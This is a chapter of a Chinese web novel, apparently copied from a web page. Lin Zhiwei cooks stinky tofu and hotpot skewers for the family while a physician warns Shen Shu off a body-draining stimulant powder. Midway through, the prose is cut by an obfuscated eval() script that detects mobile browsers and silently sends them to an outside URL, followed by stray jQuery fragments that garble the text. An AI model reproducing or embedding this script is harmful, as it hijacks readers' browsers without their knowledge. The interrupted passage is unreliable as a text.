案几上的汤药散发着清苦的味道，与窗幔间那股清寒的松针气息格格不入。


    许大夫收回搭脉的手指，眉头深锁：“李医官今日开的方子，老夫看过了，确是固本培元的正路。侯爷若能安稳用药，辅以饮食静养，两年内便可如常人般起居行走。”


    他语气一顿，看向拔步床边的暗隔：“所以，那松星散必须停了。”


    沈恕锦被下的指节攥紧，面上却毫无波澜。


    之前翰林医官院使的药方，药性阴诡，旨在让他日渐虚弱，精神恍惚，短期内并不致命。许大夫为他制的松星散同样是虎狼之药，与之相生相克，专为抵御那药方的腐蚀，助他神思清明，稳固精血。


    林知微要求给他停药之后，他才恍然发觉松星散真正的效用。明明前一日他连抬手的力气都无，次日便可亲手执箸，甚至完成部分自理……


    “此散绝非正道。”许大夫的语气近乎严厉，“它不治病，它是在透支身体的潜能和根基，换取短暂的精气。”


    他身体微微前倾，一字一句道：“短期内，您会觉得自己恢复神速，但代价是经脉日益朽脆，真正康复的机会愈发渺茫。用之愈多，站起来的希望就愈小。若不知节制，终将……永陷囹圄。”


    沈恕静静听着，唇角紧抿。


    可是，他受够了。


    受够了这具不听使唤的躯壳，受够了洗漱如厕都无法自理的的屈辱，更受够了在她面前，连拿起筷子都颤颤巍巍的无力。


    “先生的意思，我明白了。”


    不同于内室的压抑，林知微这会儿正跟秋穗和采月在捣鼓晚食，拈霞则是作为“苦力”被派去跟着李妈妈，一起处理后山的相关事宜和明天的祭灶。


    孙妈妈拿来厨房角落里一个灰扑扑的泡菜坛子。几人围成一圈，脸含期待，秋穗知道里面是什么，这会儿更是口水直吸溜。


    腼腆的阿桃这几日跟他们处熟了些，红着脸大着胆子道：“夫人，这是您新腌的泡菜不？上次您赏我的那坛跳水泡菜，酸甜脆爽的可开胃了。我阿娘跟哥哥就着粥喝，别提多舒坦了，说从没尝过这么爽口的。”


    孙妈妈捂着盖子满脸黑线，这坛子里放的可不是泡菜，而是霉苋菜跟卤水泡的豆腐干。


    夫人说这是两浙路越州那边的做法，她将信将疑按照步骤制作下坛，当时就给她臭的直呕。难以想象这又发酵闷了两天，揭开盖子的刹那味儿得有多冲！


    她很尊敬夫人，很想相信夫人，可是这玩意真的能吃吗？


    林知微两眼放光，悄悄站的远了些：“快开！”


    几个馋坏了的丫鬟凑近张望，对接下来要发生的事丝毫不知。


    孙妈妈两眼一闭，屏住呼吸，揭开了盖子。


    一股浓烈的臭气直冲面门，甚至还有些辣眼睛，坛内青白的豆腐漂浮在卤水之中，上面还飘着点点菌丝。


    采月猛吸一口之后，忙捂嘴干呕，睁眼细瞧之下，更是失望透顶：“夫人，呕……这就是你说的好吃的？这是放坏了吧？”


    “可不是嘛！这味儿冲的快赶上臭鸡蛋了。”孙妈妈边呕边添油加醋道。


    一众干呕声中，只有秋穗咧嘴直笑，麻溜的拿出碟子打捞。


    “哎呀！这叫臭豆腐，是越州那边的名小吃，你别看这闻着臭，吃着可香可香了。”


    林知微捂嘴偷笑，一副深藏功与名的样子，与秋穗一起将豆腐干清洗干净，再吸干水分。


    “这豆腐都长霉了，还能吃吗？”


    “夫人，这豆腐一看就是坏了，咱们非吃不可吗？”


    几人刚适应这股臭气，便开始叽叽喳喳个没完。


    “嫂嫂，呕……”


    “嫂，呕……”


    几道童音打断了小厨房的热闹，五双眼睛齐刷刷看过来。


    来人是沈沁和二房的沈明远，身后缀着的明玥和明轩正扶拽着他们阿兄的衣角干呕。


    沈沁捏着鼻子凑上来，又后退两步方才站定，娇声道：“嫂嫂这是在做什么？比……比哥哥书房里那块臭墨锭还冲人呢！”


    林知微柔柔笑道：“这个叫臭豆腐，只是闻着臭，做好了味道一绝。”


    沈明远穿着一身素色厚锦锦袍，领口袖口滚着同色系暗纹绫边，显然是刚外出回来，他眉头微皱，却还是上前道：“嫂嫂好，这两个小淘气下晌吃了芋头薄脆，便吵着要来寻你，母亲和二婶正忙着明日的祭灶与年宴，我正巧得空，便领着他们一同来叨扰了。”


    林知微瞧了眼外头渐暗的天色，又瞥了眼两个扶着门框干呕，正一步步走来的小馋猫，心里暗笑：这哪儿是来寻我，分明是赶巧来蹭晚食的！


    她摆摆手，语气热络道：“既如此，你们是否要留下来吃晚食？正巧我们正在准备。”


    沈明远想说不用，可瞧着这厨房的热闹劲儿，好奇之下，拒绝的话又咽了回去。


    “那便多谢嫂嫂了。”


    明玥和明轩两个小馋猫正悄悄扒上林知微的衣角。


    “这都馊了把，这怎么吃呀？”


    “太难闻了，嫂嫂这个吃了会坏肚子的！”


    “几位郎君姑娘，奴婢带你们去花厅玩会儿吧，”采月忍着干呕，挽尊道，“夫人说这个好吃，这个肯定就是好吃的。”


    孙妈妈也打圆场：“对对对，这厨房油烟大，别熏到你们……”


    沈沁眨眨眼：“干嘛啦，我又不嫌弃嫂嫂臭，你们嫌弃你们去便是。”


    明轩小嘴一撇：“哼，你们想支开我，我偏不应，我就要在这！”


    明玥缩在后面，也一副不要走的样子。


    这几个小的都不走，沈明远刚准备后退的动作又硬生生收了回来。


    “臭味源头”林知微无奈发话：“不走，就都给我干活去！”


    本来还算宽敞的小厨房瞬间变得拥挤起来。


    众人烧火的烧火，调酱汁的调酱汁，切墩的切墩，洗菜的洗菜。


    林知微看着几个坐也不是站也不是的姑娘郎君们，把他们统统打发去摘菜与串串。


    今晚热闹，正巧围在一起吃暖锅串串。臭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724620|186449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    豆腐就先当小食开胃好了！


    清洗后吸干水分的臭豆腐透着股青白，被丢进油锅炸制后，表皮迅速变得金黄酥脆。捞出沥干油后，在表面扎几个小孔，再灌入由蒜末、茱萸、胡椒粉、蔗糖等调制的甜辣酱，最后撒上葱花和香菜，香喷喷的炸臭豆腐便完成了。


    林知微舔舔嘴角，将臭豆腐放在桌子上。


    众人纷纷围过来。


    沈沁吸了吸鼻子：“咦，这炸好之后，好像没有那么臭了耶。”细细闻着，其实还有点香。


    明玥小声道：“闻着有点怪怪的。”


    明轩则是看向林知微：“嫂嫂，这个真的好吃吗？”


    林知微没有直接回答，而是忍不住率先夹起一块，吹了吹放入嘴中，外皮焦脆，内里嫩滑，鲜香带卤的汁水满溢，回味是豆腐的清香与丝丝甜意，这丰富层次鲜掉眉毛，一路从从舌尖熨帖到胃里，让她满足的眯起眼睛。


    “这豆腐发酵后别有风味，真的很香。”


    明轩见她这样，毫不犹豫地夹起一块，张嘴咬下。


    采月等人心里猛地一跳，却不敢出声。


    虽说她们相信自家夫人的手艺，可三少爷就是个混世小魔头，嘴巴刁的不行，若是不合口味，或是吃出什么问题，夫人怕是会惹上麻烦。


    林知微毫无所觉，自信满满看着他：“怎么样？”


    明轩没有立刻回她，嚼吧嚼吧咽下去后，又迫不及待将剩下半块也送进嘴里：“好、好吃的。”


    知著院的众人总算把吊着的心又放回了肚子里。


    沈沁和沈明远紧随其后，在林知微的期待下也都拿起筷子。


    醇香嫩滑的豆腐在唇齿见化开，表皮的酥脆在咀嚼间迸发，这样鲜美的味道竟是如此回味无穷。


    沈明远吃完一块，又默默的夹起一块，竟还有些意犹未尽。


    这厢郎君姑娘们在吃，那头秋穗也接手炸了一盘给采月等人尝鲜。


    采月烫的舌头发麻，激动道：“真是太好吃了，我不该嫌弃它臭的！”


    孙妈妈和阿桃则是趁她说话，默默多往嘴里塞了一块。


    两小碟臭豆腐很快分食完毕，这一屋子人每人都吃到了两三块，俱都有些意犹未尽。


    林知微起锅炸起了茱萸油和花椒油，麻辣鲜香的味道直冲天灵盖，然后，锅内又被加入了大量的牛油熬煮，醇厚的油脂完美中融合了茱萸花椒的辛辣。


    明玥和明轩串的串歪七扭八，沈明远和沁儿串的倒是又快又规整，没用多久，一个个串着牛羊猪肉和各类蔬菜的串串便整整码在竹筛上，当然这里十之八九都是秋穗和采月做的。


    林知微净了手，捏了捏沁儿的鼻头，“让采月带你们去洗手，然后去花厅等上饭便好。”


    沈沁丢下手中的竹签：“这就好了？不是还没烧菜吗？”


    沈明远几人也看过来。


    林知微：“咱们晚食吃这暖锅串串香，等下你们就知道了。”


    沈沁眼神亮晶晶：“那我去叫哥哥跟我们一块吃！”